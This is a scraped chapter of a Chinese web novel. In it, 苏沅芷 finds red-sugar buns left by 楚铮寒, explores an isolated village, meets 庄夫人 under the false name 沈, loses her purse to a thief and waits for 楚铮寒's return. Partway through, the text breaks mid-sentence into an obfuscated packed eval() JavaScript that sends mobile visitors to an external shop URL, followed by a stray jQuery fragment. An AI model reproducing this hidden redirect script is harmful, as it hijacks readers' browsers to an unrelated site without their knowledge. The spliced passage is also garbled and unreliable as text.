文趣网 > 其他小说 > 始乱终弃男鬼徒弟后 > 34. 沈夫人
    楚铮寒在清晨时便醒来了。

    弯崖村的雪不多,他视力恢复后便打算借着报恩的名义主动与村民接触,探查情况。

    但苏沅芷腿上未愈,他并不打算带上她。

    天还未亮,他先去屋子后头的地里摘了些味道清新的野菜,将它们洗净剁碎后与面粉揉在一起。

    面粉的量不多,刚好做了五个淡口的馒头。

    他站在砧板前想了想,而后去厨房翻了好一会儿,终于翻出一小瓶红糖,一齐揉进了馒头里。

    待他忙完早饭后,天光乍破,不远处有鸡鸣声响起。

    将剩下的两个馒头摆好,临走前,他看了一眼床上的苏沅芷。

    今日,她没有眉头紧锁,表情放松,整张脸埋进被褥里,头发乱糟糟的,睡得很安静。

    楚铮寒的视线停在她伸出垂下的手上。

    昨晚,他听着她在床上辗转反侧,数着她的呼吸,本想等她入眠后再起身观察她。

    可没想到,他等来的,是她主动垂下的手。

    楚铮寒给过她五次呼吸的机会,五次呼吸之后,他便直接握住了苏沅芷。

    而她没有逃。

    等到苏沅芷呼吸变得平缓,他坐起来,静静看向苏沅芷。

    适应黑暗的双眼很容易借着月色看清她。

    她呼吸锁着眉头,脸色有些苍白。

    他不该继续凑近了。

    可相连的手不断传来不属于他的温热。

    他是不该。

    可若这一切的始作俑者是她呢?

    是她先伸出手,是她要睡着的。

    况且——她凭什么这般放心地在他身边睡着?

    心底滋生出些戾气,楚铮寒缓缓凑了过去。

    动作间,他没有发出一点声音,也没有碰到苏沅芷,甚至没有碰到床榻。

    最终,他鼻尖悬停在苏沅芷身上,只隔着几毫的距离。

    而后,他闭上眼,轻轻吸了口气。

    ……

    回忆起昨晚,楚铮寒心里涌上些悸动。

    本来要出门的脚步一转,他轻手轻脚靠近苏沅芷,蹲下身子,捏住了她的手。

    熟睡的苏沅芷把脑袋从被褥里拱出来,不耐烦地嗯嗯两声。

    楚铮寒不自觉勾起唇角,满足地起身出门。

    房门轻轻合上前,他又最后瞧了她一眼。

    -

    苏沅芷一觉睡得安稳,醒来时已是正午。

    屋子里很安静,只剩下一桌早餐与一张纸条。

    ——我先去村里调查。

    苏沅芷放下纸条,拿起馒头咬了一口。

    馒头里有红糖。

    她舔了舔唇上的甜味,觉得有些奇怪。

    楚铮寒不应该不知道她不喜甜。

    抬手端起桌上的水,温温的,她抿了一口,手猝然停住。

    这水里也放了红糖。

    红糖馒头、红糖水……

    楚铮寒知道她来月事了。

    她月事的量从来不大,昨日还特意用厚布压了压味道。

    她自己都闻不到,也从未提起过此时,楚铮寒又是怎么知道的?

    想起昨晚二人牵了一晚上的手,苏沅芷后脑勺发凉,意识到自己又做了个坏决定。

    她忽地感觉这馒头变得格外难嚼起来。

    心情复杂地收拾完后,苏沅芷便撑着拐杖去了街上。

    她并不会此地方言,腿脚也不够利索,楚铮寒想要找村民查官银去向,自然不会想着要带她一起。

    正好,她想自己一个人看看村子的情况,顺便去找个铁匠铺。

    村子比她想象中富饶太多,近乎每家每户都建了瓦房,商铺不少,陈列得手工艺品眼花缭乱。

    可出乎她意料的,作为一个农村,这里贩卖水果蔬菜的铺子恨很少,价格也贵。

    难道是附近的土地不适合种地?

    村民昨日便知道有外乡人进村,加之平日里也收留迷路之人,对苏沅芷并未表现出抗拒。

    她穿着一身绿色长衫撑着拐杖在街上走,偶有男子会用官话与她打招呼,可村子里的女子无一例外,口中说的都是方言。

    靠近一座白瓦房时,她听到里头有孩童朗朗读书声传来,而她没有在这个读书声里听到任何女童的声音。

    新朝建立后,虽有开国皇帝大力推行女学,但在弯崖村这种较偏僻的地方,依旧难以普及。

    她一个人又找了一会儿,最终在一个恢宏气派的宅子前停下了。

    区别于方才的白瓦房群,这个房子外墙灰黑,独立成行,里头一座参天高的榕树从天井里探出。

    大抵是弯崖村村长的房子了。

    她收回视线时,一个年迈的女子从宅子里头出来,迎向了她。

    那女子莫约四五十的年纪,发间有不少白丝,身上布料光滑平整,头戴宝钗,双眼炯炯有神,动作间有股说不出的威严。

    不出意外,她便是村长夫人。

    苏沅芷下意识停下脚步腾出手,用动作示意自己不会方言。

    村长夫人笑了笑:“我会说官话,姑娘可以叫我庄夫人。姑娘便是昨日来的外乡人吧,贵姓?”

    苏沅芷留了个心眼,没有报上真名。

    “免贵,姓沈,这几日外头大雪不停,感谢庄夫人与村民的收留。”

    “沈夫人客气了,这些都是小事,况且你夫君今日一早就在村里帮忙,早就抵上这些小恩小惠了。”

    沈夫人?她的夫君?

    苏沅芷怔了怔,旋即意识到庄夫人是在说楚铮寒。

    她没忍住蹙了蹙眉。

    先是只有男童的学堂,又是默认她与楚铮寒是夫妻。

    这个村子,比她想象中要更封闭些。

    庄夫人眼神扫过她的拐杖:“沈夫人是在村子里寻什么物件么?”

    苏沅芷接过庄夫人含笑的眼神,迂回道:“并非,只是初次到村子里,随便逛逛。”

    闻言,庄夫人握住了她的手,温柔道:“既然现下沈夫人有空,不如来我府上一聚,正好野原那头的新茶也送来了。”

    她下意识想拒绝,可感受到庄夫人没有松开她的意思,于是话拐了个弯:“先前听说弯崖村这几年鲜少与外头交流,还怕打扰了村子,没想到大家如此热情好客,里头看着比京师还富庶。”

    庄夫人在听到京师二字时明显顿了顿,抓住她的手适时松了。

    “……村子也不是自愿如此的,六年前野原那边打了一场仗,搞得附近都民不聊生,这几年好不容易缓过来一些,结果又有流寇进犯,这里也不是什么风水宝地,真不知道那些流寇图什么,唉,时也命也啊。”

    提到这几年的伤心事,她叹了口气,像是全然没了喝茶的兴趣:“既然沈夫人还想逛逛,那我就不多留了,若有什么想知道的,之后来找我便是。”

    她转身要走,苏沅芷却在这个时候,喊住了她:

    “庄夫人,我现下便有一事想打探。”

    庄夫人缓缓回头,苏沅芷朝她莞尔一笑:

    “不知村子里是否有铁匠铺,若有的话,能麻烦您带我去么?”

    -

    二人从铁匠铺里出来时已是申时,街上人比正午更多了,有几个孩子打闹着穿梭在人群中,好不热闹。

    “看不出来,沈夫人竟然有收集铃铛的喜好。”

    “称不上喜好,只是有些时候特殊时候需要用上。不过这铃铛工艺巧妙,咱们村的铁匠工期只需三天,实在厉害。”

    “打得金银铁器多了,手熟罢了。”

    苏沅芷正把钱袋收进袖子,状似不经意问道:“咱们村也有很多造金银铁器的需要?”

    庄夫人顿了顿,露出一个温和的笑,不动声色换了话题:“沈夫人的钱袋很别致。”

    苏沅芷也朝她回了一个礼貌的笑容:“寻产物件而已,今日谢谢夫人带路了。”

    “不用谢,下次有什么需要,沈夫人随时来寻我。”

    二人在打铁铺前分别,苏沅芷刚转身,就被一个人直直撞了一下。

    待她用拐杖稳住身形向后看去,一个女孩头也不回地跑开。

    她光着脚,身形瘦小,跑得很急。

    苏沅芷顿感不妙,往袖中一探,面色一沉。

    这个小女孩顺走了她的钱袋。

    换做平常她一定会回头去追,可现下她腿伤未愈,也不熟悉弯崖村的街巷,只能眼睁睁看着女孩没入人群里。

    虽说她本来就没什么钱,而且钱袋里头的大部分在刚刚都给了铁匠铺,但

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17633629|204210||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    平白无故被人偷走东西,她心情难免郁闷。

    她赶在黄昏前回到了屋子,四周很安静,门紧紧关着,与她离开时别无二致。

    楚铮寒还没回来。

    她撇了撇嘴,没有进屋,转而坐在院子里的小凳子上,撑着脸,盯着外头的小土道。

    这不是她第一次等楚铮寒了。

    在佛龛、在揽月楼、在祠堂、在营帐里、在营帐外。

    可只有这一次,没有紧张,没有恐惧,没有任何算计与谋划。

    只是单纯地,在等他回家。

    小土道上几只松鼠窜行而过,风卷着几片叶子划落,楚铮寒把院子里各类清洁工具陈列得十分整齐,他今早做的馒头还剩一个,她走之前用衬布将它盖上了。

    一切安静得好像哪家一个寻常的午后。

    苏沅芷听着风声,看见黄昏逐渐把世界染成昏黄色。

    她忽觉时光短暂。

    在崔平川手下这几年,她从来嫌日子太长,太难熬。

    恨不得把每日都压成一息的长度去过活,让她的痛苦稀释在时间的流逝中。

    可如今,竟也有她贪恋存在的时候了。

    她正因这个认知而感到惊讶,不远处,响起了男人们的交谈声。

    苏沅芷捕捉到了一个熟悉的声音,抬眼望去,便见到了被村民们众星捧月的楚铮寒。

    他换上了村民给他准备的青白色布衣,布料硬挺,反倒更加把他的身材衬得高大挺拔。

    他从来擅长三言两语便把人心拿捏,村民们喜笑颜开,言语间,甚至还拍起了他的肩,看着很是欣慰。

    楚铮寒也回以笑容,束起的高马尾随着他动作轻晃,无端让苏沅芷想起大雪时飘在风里的那个黑色纱布。

    用雪和纱布将楚铮寒眼睛蒙住,他只能抱着她,只能听到她,也只能依靠她。

    只有她。

    ……

    ……

    苏沅芷被自己这个想法吓了一跳。

    和楚铮寒待久了,她好像也变得有些奇怪。

    果真是近朱者赤近墨者黑。

    她连忙错开视线,在心底默默给楚铮寒记了一笔。

    村民似乎只是和他顺路,没有在屋前停留,楚铮寒简单道别后,便转身踏入了院子。

    他脸上的笑容还没来得及收,却在与院子里的苏沅芷对视后,表情凝固。

    苏沅芷眨了眨眼:“你怎么了?”

    楚铮寒蹙起眉头,走近后蹲下平视着她:“你不开心?”

    心事就这样毫无防备被戳破,苏沅芷也懒得隐瞒,干脆叹了口气,交托出自己被偷钱袋的事情。

    “有受伤么?”

    “没有。”

    她本以为楚铮寒至少会在言语中对她的遭遇表示同情,可等他却只是点点头,站起了身子,嘱咐道:“村子里粮食不多,今日晚饭就先用后院的野菜将就吧,我还有些事,你方便摘菜么?”

    语气缓和,像在哄小孩。

    苏沅芷怔住了。

    自山洞二人互相剖白后,楚铮寒对待她的态度可谓是大改变了。

    从前,仗着师娘与徒弟这层身份,他就算再看不上她,言语间也会多些客气。

    至少是真的把她当做一个前辈在相处。

    可如今,他不仅没把她当师娘,更是没把她当前辈,甚至总把她当小孩哄。

    她从未想到一贯克己冷静的楚铮寒还有这般爱操心,会宠人的一面。

    苏沅芷颇有些哭笑不得。

    宠爱对她来说是一个很新鲜的体验。

    总能在第一时间察觉她的情绪,无论说什么都他都回应,永远不让她的话掉在地上,对她提要求时会细声细语,甚至,在二人有高度差之时,会主动蹲下,找到她的眼睛。

    新鲜到,她有些不知所措。

    见她久久不回应,楚铮寒挑起一边眉毛,语气带了些笑意:“沈夫人意下如何?”

    心头像是被这个笑容刮了一下,泛起些酸涩。

    事到如今,苏沅芷已经懒得去追究楚铮寒是如何知道她这个假名的了。

    ——要么是在偷偷跟踪她,要么是从村民口中套话。

    无论哪种,楚铮寒都很擅长。

    苏沅芷轻咳两声:“行。”